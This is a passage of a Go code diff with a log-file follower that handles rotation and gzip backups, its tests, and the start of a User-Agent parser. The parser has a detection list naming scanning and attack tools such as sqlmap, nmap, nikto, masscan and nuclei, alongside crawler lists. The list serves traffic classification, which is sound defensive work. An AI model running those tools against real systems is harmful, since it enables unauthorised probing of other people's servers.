f.emit(line, f.pending)
|
||||
f.partial = f.partial[:0]
|
||||
f.pending = 0
|
||||
f.discard = false
|
||||
}
|
||||
}
|
||||
switch {
|
||||
case err == nil:
|
||||
case errors.Is(err, bufio.ErrBufferFull):
|
||||
case errors.Is(err, io.EOF):
|
||||
return nil
|
||||
default:
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Run follows the file until ctx is done.
|
||||
func (f *Follower) Run(ctx context.Context) {
|
||||
poll := f.Poll
|
||||
if poll <= 0 {
|
||||
poll = 500 * time.Millisecond
|
||||
}
|
||||
t := time.NewTicker(poll)
|
||||
defer t.Stop()
|
||||
defer f.closeFile()
|
||||
for {
|
||||
f.step()
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-t.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (f *Follower) step() {
|
||||
if f.f == nil {
|
||||
if err := f.open(); err != nil {
|
||||
f.setErr(err)
|
||||
return
|
||||
}
|
||||
}
|
||||
f.verifyHead()
|
||||
if f.f == nil {
|
||||
return
|
||||
}
|
||||
if err := f.drain(); err != nil {
|
||||
f.setErr(err)
|
||||
f.closeFile()
|
||||
return
|
||||
}
|
||||
f.setErr(nil)
|
||||
f.recordHead()
|
||||
// Detect rotation: truncation in place or a different file at the path.
|
||||
fi, err := os.Stat(f.Path)
|
||||
if err != nil {
|
||||
return // path gone: keep draining the old handle until a new file appears
|
||||
}
|
||||
cur, err := f.f.Stat()
|
||||
if err != nil {
|
||||
f.closeFile()
|
||||
return
|
||||
}
|
||||
switch {
|
||||
case inodeOf(fi) != inodeOf(cur):
|
||||
_ = f.drain() // finish the old file first
|
||||
f.closeFile()
|
||||
f.mu.Lock()
|
||||
f.pos = Pos{}
|
||||
f.mu.Unlock()
|
||||
case cur.Size() < f.Pos().Offset:
|
||||
f.closeFile()
|
||||
f.mu.Lock()
|
||||
f.pos = Pos{Inode: inodeOf(cur), Offset: 0}
|
||||
f.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func trimEOL(b []byte) []byte {
|
||||
if n := len(b); n > 0 && b[n-1] == '\n' {
|
||||
b = b[:n-1]
|
||||
}
|
||||
if n := len(b); n > 0 && b[n-1] == '\r' {
|
||||
b = b[:n-1]
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// Backups returns the rotated copies of path ordered from oldest to newest:
|
||||
// path.N.gz ... path.1.gz and path.1.
|
||||
func Backups(path string) []string {
|
||||
type item struct {
|
||||
n int
|
||||
name string
|
||||
}
|
||||
var found []item
|
||||
for n := 1; n <= 9; n++ {
|
||||
for _, suf := range []string{".gz", ""} {
|
||||
name := fmt.Sprintf("%s.%d%s", path, n, suf)
|
||||
if _, err := os.Stat(name); err == nil {
|
||||
found = append(found, item{n, name})
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
sort.Slice(found, func(i, j int) bool { return found[i].n > found[j].n })
|
||||
out := make([]string, len(found))
|
||||
for i, it := range found {
|
||||
out[i] = it.name
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ReadAll feeds every line of a (possibly gzip) file to handle. Oversized
|
||||
// lines are skipped and reported through oversize.
|
||||
func ReadAll(path string, maxLine int, handle func(line []byte), oversize func()) error {
|
||||
fh, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer fh.Close()
|
||||
var r io.Reader = fh
|
||||
if strings.HasSuffix(path, ".gz") {
|
||||
gz, err := gzip.NewReader(fh)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer gz.Close()
|
||||
r = gz
|
||||
}
|
||||
br := bufio.NewReaderSize(r, 64*1024)
|
||||
var buf []byte
|
||||
skipping := false
|
||||
for {
|
||||
chunk, err := br.ReadSlice('\n')
|
||||
complete := len(chunk) > 0 && chunk[len(chunk)-1] == '\n'
|
||||
if len(chunk) > 0 && !skipping {
|
||||
if len(buf)+len(chunk) > maxLine+2 {
|
||||
skipping = true
|
||||
buf = buf[:0]
|
||||
if oversize != nil {
|
||||
oversize()
|
||||
}
|
||||
} else {
|
||||
buf = append(buf, chunk...)
|
||||
}
|
||||
}
|
||||
if complete {
|
||||
if !skipping && len(buf) > 0 {
|
||||
handle(trimEOL(buf))
|
||||
}
|
||||
buf, skipping = buf[:0], false
|
||||
}
|
||||
if err != nil && !errors.Is(err, bufio.ErrBufferFull) {
|
||||
if errors.Is(err, io.EOF) {
|
||||
if !skipping && len(buf) > 0 {
|
||||
handle(trimEOL(buf))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// verifyHead resets the position when the head of the file changed under us
|
||||
// (truncate-and-regrow with the same inode); it runs BEFORE reading, so the
|
||||
// stale offset is never applied to the new content.
|
||||
func (f *Follower) verifyHead() {
|
||||
p := f.Pos()
|
||||
if p.FPLen > 0 && !headMatches(f.f, p.FP, p.FPLen) {
|
||||
f.closeFile()
|
||||
if err := f.open(); err != nil {
|
||||
f.setErr(err)
|
||||
}
|
||||
f.mu.Lock()
|
||||
f.pos = Pos{Inode: f.pos.Inode}
|
||||
f.mu.Unlock()
|
||||
if f.f != nil {
|
||||
f.f.Seek(0, io.SeekStart)
|
||||
f.rd.Reset(f.f)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// recordHead keeps the fingerprint of the first bytes already consumed.
|
||||
func (f *Follower) recordHead() {
|
||||
p := f.Pos()
|
||||
if p.FPLen < fpMax && p.Offset > int64(p.FPLen) {
|
||||
n := int(p.Offset)
|
||||
if n > fpMax {
|
||||
n = fpMax
|
||||
}
|
||||
buf := make([]byte, n)
|
||||
if m, err := f.f.ReadAt(buf, 0); m == n && (err == nil || err == io.EOF) {
|
||||
f.mu.Lock()
|
||||
f.pos.FP, f.pos.FPLen = fingerprint(buf), n
|
||||
f.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
package tail
|
||||
|
||||
import (
|
||||
"compress/gzip"
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type sink struct {
|
||||
mu sync.Mutex
|
||||
lines []string
|
||||
}
|
||||
|
||||
func (s *sink) add(b []byte) { s.mu.Lock(); s.lines = append(s.lines, string(b)); s.mu.Unlock() }
|
||||
func (s *sink) get() []string {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
return append([]string(nil), s.lines...)
|
||||
}
|
||||
|
||||
func waitFor(t *testing.T, s *sink, n int) {
|
||||
t.Helper()
|
||||
for i := 0; i < 200; i++ {
|
||||
if len(s.get()) >= n {
|
||||
return
|
||||
}
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
}
|
||||
t.Fatalf("timeout waiting for %d lines, got %v", n, s.get())
|
||||
}
|
||||
|
||||
func appendTo(t *testing.T, path, text string) {
|
||||
t.Helper()
|
||||
f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f.WriteString(text)
|
||||
f.Close()
|
||||
}
|
||||
|
||||
func start(t *testing.T, path string, pos Pos) (*Follower, *sink, context.CancelFunc) {
|
||||
f := NewFollower(path, pos)
|
||||
f.Poll = 10 * time.Millisecond
|
||||
s := &sink{}
|
||||
f.Handle = s.add
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
done := make(chan struct{})
|
||||
go func() { f.Run(ctx); close(done) }()
|
||||
return f, s, func() { cancel(); <-done }
|
||||
}
|
||||
|
||||
func TestFollowTruncateAndRename(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
p := filepath.Join(dir, "access.log")
|
||||
appendTo(t, p, "a\nb\npart")
|
||||
_, s, stop := start(t, p, Pos{})
|
||||
defer stop()
|
||||
waitFor(t, s, 2)
|
||||
appendTo(t, p, "ial\n")
|
||||
waitFor(t, s, 3)
|
||||
if got := s.get()[2]; got != "partial" {
|
||||
t.Fatalf("partial line: %q", got)
|
||||
}
|
||||
// copy + truncate rotation (same inode, smaller size)
|
||||
if err := os.Truncate(p, 0); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
time.Sleep(60 * time.Millisecond)
|
||||
appendTo(t, p, "c\n")
|
||||
waitFor(t, s, 4)
|
||||
// rename + recreate (new inode); unread lines of the old file must survive
|
||||
appendTo(t, p, "d\n")
|
||||
if err := os.Rename(p, p+".1"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
appendTo(t, p, "e\nf\n")
|
||||
waitFor(t, s, 7)
|
||||
got := strings.Join(s.get(), ",")
|
||||
if got != "a,b,partial,c,d,e,f" {
|
||||
t.Fatalf("got %s", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResumeAndOversize(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
p := filepath.Join(dir, "x.log")
|
||||
appendTo(t, p, "one\ntwo\n")
|
||||
f, s, stop := start(t, p, Pos{})
|
||||
waitFor(t, s, 2)
|
||||
pos := f.Pos()
|
||||
stop()
|
||||
if pos.Offset != 8 || pos.Inode == 0 {
|
||||
t.Fatalf("pos %+v", pos)
|
||||
}
|
||||
appendTo(t, p, "three\n")
|
||||
f2, s2, stop2 := start(t, p, pos)
|
||||
oversize := 0
|
||||
_ = f2
|
||||
waitFor(t, s2, 1)
|
||||
stop2()
|
||||
if l := s2.get(); len(l) != 1 || l[0] != "three" {
|
||||
t.Fatalf("resume got %v", l)
|
||||
}
|
||||
// oversize line skipped and counted, following lines still read
|
||||
p2 := filepath.Join(dir, "big.log")
|
||||
appendTo(t, p2, strings.Repeat("x", 5000)+"\nok\n")
|
||||
f3 := NewFollower(p2, Pos{})
|
||||
f3.MaxLine = 1000
|
||||
f3.Poll = 10 * time.Millisecond
|
||||
s3 := &sink{}
|
||||
f3.Handle = s3.add
|
||||
f3.Oversize = func() { oversize++ }
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
go f3.Run(ctx)
|
||||
waitFor(t, s3, 1)
|
||||
cancel()
|
||||
if l := s3.get(); len(l) != 1 || l[0] != "ok" || oversize != 1 {
|
||||
t.Fatalf("got %v oversize=%d", l, oversize)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStalePosAndBackups(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
p := filepath.Join(dir, "a.log")
|
||||
appendTo(t, p, "x\ny\n")
|
||||
// saved offset beyond the file (truncated while down): restart from zero
|
||||
_, s, stop := start(t, p, Pos{Inode: 0, Offset: 9999})
|
||||
waitFor(t, s, 2)
|
||||
stop()
|
||||
// backups ordering and gzip reading
|
||||
for _, n := range []string{"a.log.2.gz", "a.log.1.gz"} {
|
||||
f, _ := os.Create(filepath.Join(dir, n))
|
||||
gz := gzip.NewWriter(f)
|
||||
gz.Write([]byte("from-" + n + "\nsecond\n"))
|
||||
gz.Close()
|
||||
f.Close()
|
||||
}
|
||||
appendTo(t, p+".1", "plain\n")
|
||||
b := Backups(p)
|
||||
// .1.gz wins over .1 for the same index; order is oldest first
|
||||
if len(b) != 2 || !strings.HasSuffix(b[0], ".2.gz") || !strings.HasSuffix(b[1], ".1.gz") {
|
||||
t.Fatalf("backups %v", b)
|
||||
}
|
||||
var got []string
|
||||
if err := ReadAll(b[0], 1000, func(l []byte) { got = append(got, string(l)) }, nil); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(got) != 2 || got[0] != "from-a.log.2.gz" {
|
||||
t.Fatalf("%v", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,504 @@
|
||||
// Package ua interpreta User-Agents sem dependências: navegador, SO, tipo de
|
||||
// dispositivo, bots conhecidos (buscadores/IA) e ferramentas de varredura.
|
||||
package ua
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Info é o resultado de Parse.
|
||||
type Info struct {
|
||||
Browser string `json:"browser,omitempty"`
|
||||
BrowserMajor string `json:"browser_major,omitempty"`
|
||||
OS string `json:"os,omitempty"`
|
||||
Device string `json:"device"` // desktop | mobile | tablet | bot | tool | unknown
|
||||
Bot bool `json:"bot"`
|
||||
BotName string `json:"bot_name,omitempty"`
|
||||
Tool string `json:"tool,omitempty"`
|
||||
}
|
||||
|
||||
const (
|
||||
Desktop = "desktop"
|
||||
Mobile = "mobile"
|
||||
Tablet = "tablet"
|
||||
BotDev = "bot"
|
||||
ToolDev = "tool"
|
||||
Unknown = "unknown"
|
||||
)
|
||||
|
||||
const cacheMax = 4096
|
||||
|
||||
var (
|
||||
cacheMu sync.RWMutex
|
||||
cache = make(map[string]Info, 256)
|
||||
)
|
||||
|
||||
// Parse é pura (sem estado observável) e segura para uso concorrente; usa um
|
||||
// cache pequeno e limitado.
|
||||
func Parse(ua string) Info {
|
||||
cacheMu.RLock()
|
||||
in, ok := cache[ua]
|
||||
cacheMu.RUnlock()
|
||||
if ok {
|
||||
return in
|
||||
}
|
||||
in = parse(ua)
|
||||
if len(ua) <= 512 {
|
||||
cacheMu.Lock()
|
||||
if len(cache) >= cacheMax {
|
||||
clear(cache)
|
||||
}
|
||||
cache[ua] = in
|
||||
cacheMu.Unlock()
|
||||
}
|
||||
return in
|
||||
}
|
||||
|
||||
type needle struct {
|
||||
s string // minúsculo
|
||||
name string
|
||||
// prefix: só vale no início do UA
|
||||
prefix bool
|
||||
}
|
||||
|
||||
// Ferramentas de varredura, ataque, automação e monitoramento. Ordem importa
|
||||
// apenas entre entradas que se sobrepõem.
|
||||
var tools = []needle{
|
||||
{"zgrab", "zgrab", false},
|
||||
{"masscan", "masscan", false},
|
||||
{"nuclei", "Nuclei", false},
|
||||
{"sqlmap", "sqlmap", false},
|
||||
{"nmap", "Nmap", false},
|
||||
{"nikto", "Nikto", false},
|
||||
{"dirbuster", "DirBuster", false},
|
||||
{"gobuster", "gobuster", false},
|
||||
{"ffuf", "ffuf", false},
|
||||
{"wfuzz", "wfuzz", false},
|
||||
{"feroxbuster", "feroxbuster", false},
|
||||
{"wpscan", "WPScan", false},
|
||||
{"acunetix", "Acunetix", false},
|
||||
{"nessus", "Nessus", false},
|
||||
{"openvas", "OpenVAS", false},
|
||||
{"qualys", "Qualys", false},
|
||||
{"netsparker", "Netsparker", false},
|
||||
{"burpcollaborator", "Burp", false},
|
||||
{"zmeu", "ZmEu", false},
|
||||
{"l9explore", "l9explore", false},
|
||||
{"l9tcpid", "l9tcpid", false},
|
||||
{"libredtail", "libredtail-http", false},
|
||||
{"censysinspect", "CensysInspect", false},
|
||||
{"expanse", "Expanse", false},
|
||||
{"internet-measurement", "InternetMeasurement", false},
|
||||
{"netsystemsresearch", "NetSystemsResearch", false},
|
||||
{"hello, world", "Hello World", true},
|
||||
{"hello world", "Hello World", true},
|
||||
{"headlesschrome", "HeadlessChrome", false},
|
||||
{"phantomjs", "PhantomJS", false},
|
||||
{"selenium", "Selenium", false},
|
||||
{"puppeteer", "Puppeteer", false},
|
||||
{"playwright", "Playwright", false},
|
||||
{"chrome-lighthouse", "Lighthouse", false},
|
||||
{"curl/", "curl", false},
|
||||
{"wget", "Wget", false},
|
||||
{"httpie", "HTTPie", false},
|
||||
{"python-requests", "python-requests", false},
|
||||
{"python-urllib", "python-urllib", false},
|
||||
{"python-httpx", "python-httpx", false},
|
||||
{"aiohttp", "aiohttp", false},
|
||||
{"python/", "Python", true},
|
||||
{"go-http-client", "Go-http-client", false},
|
||||
{"fasthttp", "fasthttp", false},
|
||||
{"okhttp", "okhttp", false},
|
||||
{"java/", "Java", true},
|
||||
{"apache-httpclient", "Apache-HttpClient", false},
|
||||
{"jakarta commons", "Jakarta-HttpClient", false},
|
||||
{"libwww-perl", "libwww-perl", false},
|
||||
{"lwp::simple", "libwww-perl", false},
|
||||
{"ruby", "Ruby", true},
|
||||
{"faraday", "Faraday", false},
|
||||
{"guzzlehttp", "GuzzleHttp", false},
|
||||
{"php/", "PHP", true},
|
||||
{"node-fetch", "node-fetch", false},
|
||||
{"axios/", "axios", false},
|
||||
{"undici", "undici", false},
|
||||
{"deno/", "Deno", true},
|
||||
{"dart/", "Dart", true},
|
||||
{"reqwest", "reqwest", false},
|
||||
{"scrapy", "Scrapy", false},
|
||||
{"postmanruntime", "Postman", false},
|
||||
{"insomnia", "Insomnia", false},
|
||||
{"winhttp", "WinHTTP", false},
|
||||
{"wappalyzer", "Wappalyzer", false},
|
||||
{"apache/", "Apache", true},
|
||||
{"uptime-kuma", "Uptime-Kuma", false},
|
||||
{"uptimerobot", "UptimeRobot", false},
|
||||
{"pingdom", "Pingdom", false},
|
||||
{"statuscake", "StatusCake", false},
|
||||
{"site24x7", "Site24x7", false},
|
||||
{"zabbix", "Zabbix", false},
|
||||
{"prometheus", "Prometheus", false},
|
||||
{"kube-probe", "kube-probe", false},
|
||||
{"elb-healthchecker", "ELB-HealthChecker", false},
|
||||
{"amazon-route53-health-check", "Route53-HealthCheck", false},
|
||||
{"googlehc", "GoogleHC", false},
|
||||
{"check_http", "check_http", false},
|
||||
{"nagios", "Nagios", false},
|
||||
{"monitoring", "Monitoring", true},
|
||||
}
|
||||
|
||||
// Bots de buscadores, IA, redes sociais e SEO.
|
||||
var bots = []needle{
|
||||
{"googlebot", "Googlebot", false},
|
||||
{"adsbot-google", "AdsBot-Google", false},
|
||||
{"mediapartners-google", "Mediapartners-Google", false},
|
||||
{"google-inspectiontool", "Google-InspectionTool", false},
|
||||
{"google-extended", "Google-Extended", false},
|
||||
{"googleother", "GoogleOther", false},
|
||||
{"google-cloudvertexbot", "Google-CloudVertexBot", false},
|
||||
{"storebot-google", "Storebot-Google", false},
|
||||
{"apis-google", "APIs-Google", false},
|
||||
{"feedfetcher-google", "FeedFetcher-Google", false},
|
||||
{"google-read-aloud", "Google-Read-Aloud", false},
|
||||
{"google-site-verification", "Google-Site-Verification", false},
|
||||
{"google page speed", "Google-PageSpeed", false},
|
||||
{"bingbot", "Bingbot", false},
|
||||
{"bingpreview", "BingPreview", false},
|
||||
{"adidxbot", "adidxbot", false},
|
||||
{"msnbot", "MSNBot", false},
|
||||
{"yahoo! slurp", "Yahoo Slurp", false},
|
||||
{"slurp", "Yahoo Slurp", false},
|
||||
{"duckassistbot", "DuckAssistBot", false},
|
||||
{"duckduckbot", "DuckDuckBot", false},
|
||||
{"baiduspider", "Baiduspider", false},
|
||||
{"yandex", "YandexBot", false},
|
||||
{"sogou", "Sogou", false},
|
||||
{"exabot", "Exabot", false},
|
||||
{"seznambot", "SeznamBot", false},
|
||||
{"qwantify", "Qwantify", false},
|
||||
{"applebot", "Applebot", false},
|
||||
{"petalbot", "PetalBot", false},
|
||||
{"gptbot", "GPTBot", false},
|
||||
{"chatgpt-user", "ChatGPT-User", false},
|
||||
{"oai-searchbot", "OAI-SearchBot", false},
|
||||
{"claudebot", "ClaudeBot", false},
|
||||
{"claude-web", "Claude-Web", false},
|
||||
{"claude-user", "Claude-User", false},
|
||||
{"claude-searchbot", "Claude-SearchBot", false},
|
||||
{"anthropic-ai", "anthropic-ai", false},
|
||||
{"perplexitybot", "PerplexityBot", false},
|
||||
{"perplexity-user", "Perplexity-User", false},
|
||||
{"mistralai-user", "MistralAI-User", false},
|
||||
{"cohere-ai", "cohere-ai", false},
|
||||
{"bytespider", "Bytespider", false},
|
||||
{"ccbot", "CCBot", false},
|
||||
{"amazonbot", "Amazonbot", false},
|
||||
{"diffbot", "Diffbot", false},
|
||||
{"youbot", "YouBot", false},
|
||||
{"imagesiftbot", "ImagesiftBot", false},
|
||||
{"timpibot", "Timpibot", false},
|
||||
{"omgili", "omgili", false},
|
||||
{"meta-externalagent", "meta-externalagent", false},
|
||||
{"meta-externalfetcher", "meta-externalfetcher", false},
|
||||
{"facebookexternalhit", "facebookexternalhit", false},
|
||||
{"facebot", "Facebot", false},
|
||||
{"twitterbot", "Twitterbot", false},
|
||||
{"linkedinbot", "LinkedInBot", false},
|
||||
{"slackbot", "Slackbot", false},
|
||||
{"slack-imgproxy", "Slack-ImgProxy", false},
|
||||
{"discordbot", "Discordbot", false},
|
||||
{"telegrambot", "TelegramBot", false},
|
||||
{"whatsapp/", "WhatsApp", false},
|
||||
{"pinterestbot", "Pinterestbot", false},
|
||||
{"redditbot", "redditbot", false},
|
||||
{"skypeuripreview", "SkypeUriPreview", false},
|
||||
{"embedly", "Embedly", false},
|
||||
{"quora link preview", "Quora Link Preview", false},
|
||||
{"semrushbot", "SemrushBot", false},
|
||||
{"ahrefsbot", "AhrefsBot", false},
|
||||
{"ahrefssiteaudit", "AhrefsSiteAudit", false},
|
||||
{"mj12bot", "MJ12bot", false},
|
||||
{"dotbot", "DotBot", false},
|
||||
{"rogerbot", "rogerbot", false},
|
||||
{"blexbot", "BLEXBot", false},
|
||||
{"dataforseobot", "DataForSeoBot", false},
|
||||
{"barkrowler", "Barkrowler", false},
|
||||
{"megaindex", "MegaIndex", false},
|
||||
{"serpstatbot", "serpstatbot", false},
|
||||
{"screaming frog", "Screaming Frog", false},
|
||||
{"ia_archiver", "ia_archiver", false},
|
||||
{"archive.org_bot", "archive.org_bot", false},
|
||||
{"better uptime bot", "Better Uptime Bot", false},
|
||||
{"wp rocket", "WP Rocket", false},
|
||||
}
|
||||
|
||||
func lower(s string) string {
|
||||
for i := 0; i < len(s); i++ {
|
||||
if c := s[i]; c >= 'A' && c <= 'Z' {
|
||||
return strings.ToLower(s)
|
||||
}
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func matchNeedle(list []needle, l string) string {
|
||||
for i := range list {
|
||||
n := &list[i]
|
||||
if n.prefix {
|
||||
if strings.HasPrefix(l, n.s) {
|
||||
return n.name
|
||||
}
|
||||
} else if strings.Contains(l, n.s) {
|
||||
return n.name
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func parse(raw string) Info {
|
||||
s := strings.TrimSpace(raw)
|
||||
if s == "" || s == "-" {
|
||||
return Info{Device: Unknown}
|
||||
}
|
||||
l := lower(s)
|
||||
|
||||
if t := matchNeedle(tools, l); t != "" {
|
||||
in := Info{Device: ToolDev, Tool: t}
|
||||
if strings.HasPrefix(l, "mozilla/") {
|
||||
in.Browser, in.BrowserMajor = browser(s)
|
||||
in.OS = osName(s)
|
||||
}
|
||||
return in
|
||||
}
|
||||
if b := matchNeedle(bots, l); b != "" {
|
||||
return Info{Device: BotDev, Bot: true, BotName: b}
|
||||
}
|
||||
if b := genericBot(s); b != "" {
|
||||
return Info{Device: BotDev, Bot: true, BotName: b}
|
||||
}
|
||||
|
||||
in := Info{}
|
||||
in.Browser, in.BrowserMajor = browser(s)
|
||||
in.OS = osName(s)
|
||||
in.Device = device(s, l, &in)
|
||||
return in
|
||||
}
|
||||
|
||||
// genericBot reconhece bots não listados: tokens terminados em "bot",
|
||||
// "crawler"/"spider", ou "(compatible; Nome/1.0; +http://...)".
|
||||
func genericBot(s string) string {
|
||||
isSep := func(r byte) bool {
|
||||
return r == ' ' || r == ';' || r == '(' || r == ')' || r == '/' || r == ','
|
||||
}
|
||||
var firstCompat string
|
||||
for i := 0; i < len(s); {
|
||||
for i < len(s) && isSep(s[i]) {
|
||||
i++
|
||||
}
|
||||
j := i
|
||||
for j < len(s) && !isSep(s[j]) {
|
||||
j++
|
||||
}
|
||||
tok := s[i:j]
|
||||
i = j
|
||||
if len(tok) < 3 {
|
||||
continue
|
||||
}
|
||||
lt := lower(tok)
|
||||
if strings.EqualFold(tok, "compatible") {
|
||||
firstCompat = "?"
|
||||
continue
|
||||
}
|
||||
if firstCompat == "?" {
|
||||
firstCompat = tok
|
||||
}
|
||||
if lt == "cubot" {
|
||||
continue
|
||||
}
|
||||
if strings.HasSuffix(lt, "bot") || strings.Contains(lt, "crawler") || strings.Contains(lt, "spider") {
|
||||
return tok
|
||||
}
|
||||
}
|
||||
// "(compatible; Foo/1.0; +http...)" sem navegador conhecido
|
||||
if firstCompat != "" && firstCompat != "?" && strings.Contains(s, "+http") &&
|
||||
!strings.HasPrefix(firstCompat, "MSIE") && !strings.HasPrefix(firstCompat, "Opera") {
|
||||
return firstCompat
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// major devolve os dígitos após tok em s ("Chrome/" -> "89").
|
||||
func major(s, tok string) (string, bool) {
|
||||
i := strings.Index(s, tok)
|
||||
if i < 0 {
|
||||
return "", false
|
||||
}
|
||||
i += len(tok)
|
||||
j := i
|
||||
for j < len(s) && s[j] >= '0' && s[j] <= '9' {
|
||||
j++
|
||||
}
|
||||
if j == i {
|
||||
return "", false
|
||||
}
|
||||
return s[i:j], true
|
||||
}
|
||||
|
||||
func browser(s string) (name, ver string) {
|
||||
type rule struct {
|
||||
tok, name string
|
||||
}
|
||||
// ordem: derivados de Chromium/WebKit antes de Chrome e Safari
|
||||
for _, r := range [...]rule{
|
||||
{"Edg/", "Edge"}, {"EdgA/", "Edge"}, {"EdgiOS/", "Edge"}, {"Edge/", "Edge"},
|
||||
{"OPR/", "Opera"}, {"OPT/", "Opera"}, {"OPiOS/", "Opera"},
|
||||
{"SamsungBrowser/", "Samsung Internet"},
|
||||
{"Vivaldi/", "Vivaldi"},
|
||||
{"YaBrowser/", "Yandex Browser"},
|
||||
{"UCBrowser/", "UC Browser"},
|
||||
{"DuckDuckGo/", "DuckDuckGo"},
|
||||
{"MiuiBrowser/", "MIUI Browser"},
|
||||
{"HuaweiBrowser/", "Huawei Browser"},
|
||||
{"Whale/", "Whale"},
|
||||
{"QQBrowser/", "QQ Browser"},
|
||||
{"Silk/", "Silk"},
|
||||
{"Electron/", "Electron"},
|
||||
{"MicroMessenger/", "WeChat"},
|
||||
{"FBAV/", "Facebook"},
|
||||
{"Instagram ", "Instagram"},
|
||||
{"Firefox/", "Firefox"},
|
||||
{"FxiOS/", "Firefox"},
|
||||
{"Chromium/", "Chromium"},
|
||||
{"CriOS/", "Chrome"},
|
||||
} {
|
||||
if v, ok := major(s, r.tok); ok {
|
||||
return r.name, v
|
||||
}
|
||||
}
|
||||
if strings.Contains(s, "Opera Mini/") {
|
||||
v, _ := major(s, "Opera Mini/")
|
||||
return "Opera Mini", v
|
||||
}
|
||||
if strings.Contains(s, "Opera") {
|
||||
if v, ok := major(s, "Version/"); ok {
|
||||
return "Opera", v
|
||||
}
|
||||
if v, ok := major(s, "Opera/"); ok {
|
||||
return "Opera", v
|
||||
}
|
||||
v, _ := major(s, "Opera ")
|
||||
return "Opera", v
|
||||
}
|
||||
if v, ok := major(s, "MSIE "); ok {
|
||||
return "Internet Explorer", v
|
||||
}
|
||||
if strings.Contains(s, "Trident/") {
|
||||
v, _ := major(s, "rv:")
|
||||
return "Internet Explorer", v
|
||||
}
|
||||
if v, ok := major(s, "Chrome/"); ok {
|
||||
if strings.Contains(s, "; wv)") {
|
||||
return "Android WebView", v
|
||||
}
|
||||
return "Chrome", v
|
||||
}
|
||||
if strings.Contains(s, "Safari/") || strings.Contains(s, "AppleWebKit/") {
|
||||
if v, ok := major(s, "Version/"); ok {
|
||||
return "Safari", v
|
||||
}
|
||||
if strings.Contains(s, "Safari/") {
|
||||
return "Safari", ""
|
||||
}
|
||||
return "WebKit", ""
|
||||
}
|
||||
if strings.HasPrefix(s, "Lynx/") {
|
||||
v, _ := major(s, "Lynx/")
|
||||
return "Lynx", v
|
||||
}
|
||||
if strings.HasPrefix(s, "w3m/") {
|
||||
return "w3m", ""
|
||||
}
|
||||
return "", ""
|
||||
}
|
||||
|
||||
func osName(s string) string {
|
||||
switch {
|
||||
case strings.Contains(s, "Windows Phone"):
|
||||
return "Windows Phone"
|
||||
case strings.Contains(s, "Windows"):
|
||||
return "Windows"
|
||||
case strings.Contains(s, "Android"):
|
||||
return "Android"
|
||||
case strings.Contains(s, "iPhone"), strings.Contains(s, "iPod"), strings.Contains(s, "iPad"):
|
||||
return "iOS"
|
||||
case strings.Contains(s, "CrOS"):
|
||||
return "ChromeOS"
|
||||
case strings.Contains(s, "Macintosh"):
|
||||
// iPadOS 13+ se apresenta como Mac, mas traz "Mobile/<build>"
|
||||
if strings.Contains(s, " Mobile/") {
|
||||
return "iOS"
|
||||
}
|
||||
return "macOS"
|
||||
case strings.Contains(s, "Mac OS X"):
|
||||
return "macOS"
|
||||
case strings.Contains(s, "KaiOS"):
|
||||
return "KaiOS"
|
||||
case strings.Contains(s, "Tizen"):
|
||||
return "Tizen"
|
||||
case strings.Contains(s, "Web0S"), strings.Contains(s, "WebOS"), strings.Contains(s, "webOS"):
|
||||
return "webOS"
|
||||
case strings.Contains(s, "FreeBSD"):
|
||||
return "FreeBSD"
|
||||
case strings.Contains(s, "OpenBSD"):
|
||||
return "OpenBSD"
|
||||
case strings.Contains(s, "NetBSD"):
|
||||
return "NetBSD"
|
||||
case strings.Contains(s, "BlackBerry"), strings.Contains(s, "BB10"):
|
||||
return "BlackBerry"
|
||||
case strings.Contains(s, "Linux"), strings.Contains(s, "X11"), strings.Contains(s, "Ubuntu"),
|
||||
strings.Contains(s, "Fedora"), strings.Contains(s, "Debian"):
|
||||
return "Linux"
|
||||
case strings.Contains(s, "Dalvik/"):
|
||||
return "Android"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func device(s, l string, in *Info) string {
|
||||
if strings.Contains(s, "iPad") ||
|
||||
(in.OS == "iOS" && strings.Contains(s, "Macintosh")) {
|
||||
return Tablet
|
||||
}
|
||||
if strings.Contains(l, "tablet") || strings.Contains(s, "Kindle") || strings.Contains(s, "PlayBook") ||
|
||||
(in.OS == "Android" && strings.Contains(s, "Silk/")) {
|
||||
return Tablet
|
||||
}
|
||||
switch in.OS {
|
||||
